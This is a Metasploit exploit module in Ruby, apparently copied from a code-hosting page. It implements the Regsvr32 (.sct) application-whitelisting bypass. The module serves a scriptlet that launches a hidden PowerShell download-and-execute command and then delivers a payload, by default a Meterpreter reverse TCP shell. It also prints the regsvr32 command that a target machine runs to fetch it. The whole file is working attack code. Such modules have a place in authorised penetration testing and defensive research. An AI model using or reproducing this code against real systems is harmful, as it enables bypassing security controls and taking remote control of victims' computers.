97 lines
3.3 KiB
Ruby
97 lines
3.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',
|
|
'Description' => %q(
|
|
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
|
|
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32
|
|
command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
|
|
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
|
|
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
|
|
'Trenton Ivey', # MSF Module (kn0)
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'Payload' => 'windows/meterpreter/reverse_tcp'
|
|
},
|
|
'Targets' => [['PSH', {}]],
|
|
'Platform' => %w(win),
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 19 2016',
|
|
'References' =>
|
|
[
|
|
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
|
|
]
|
|
))
|
|
end
|
|
|
|
|
|
def primer
|
|
print_status('Run the following command on the target machine:')
|
|
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
|
|
end
|
|
|
|
|
|
def on_request_uri(cli, _request)
|
|
# If the resource request ends with '.sct', serve the .sct file
|
|
# Otherwise, serve the PowerShell payload
|
|
if _request.raw_uri =~ /\.sct$/
|
|
serve_sct_file
|
|
else
|
|
serve_psh_payload
|
|
end
|
|
end
|
|
|
|
|
|
def serve_sct_file
|
|
print_status("Handling request for the .sct file from #{cli.peerhost}")
|
|
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
|
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
|
|
download_and_run = "#{ignore_cert}#{download_string}"
|
|
psh_command = generate_psh_command_line(
|
|
noprofile: true,
|
|
windowstyle: 'hidden',
|
|
command: download_and_run
|
|
)
|
|
data = gen_sct_file(psh_command)
|
|
send_response(cli, data, 'Content-Type' => 'text/plain')
|
|
end
|
|
|
|
|
|
def serve_psh_payload
|
|
print_status("Delivering payload to #{cli.peerhost}")
|
|
data = cmd_psh_payload(payload.encoded,
|
|
payload_instance.arch.first,
|
|
remove_comspec: true,
|
|
use_single_quotes: true
|
|
)
|
|
send_response(cli,data,'Content-Type' => 'application/octet-stream')
|
|
end
|
|
|
|
|
|
def rand_class_id
|
|
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
|
|
end
|
|
|
|
def gen_sct_file(command)
|
|
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
|
|
end
|
|
|
|
end
|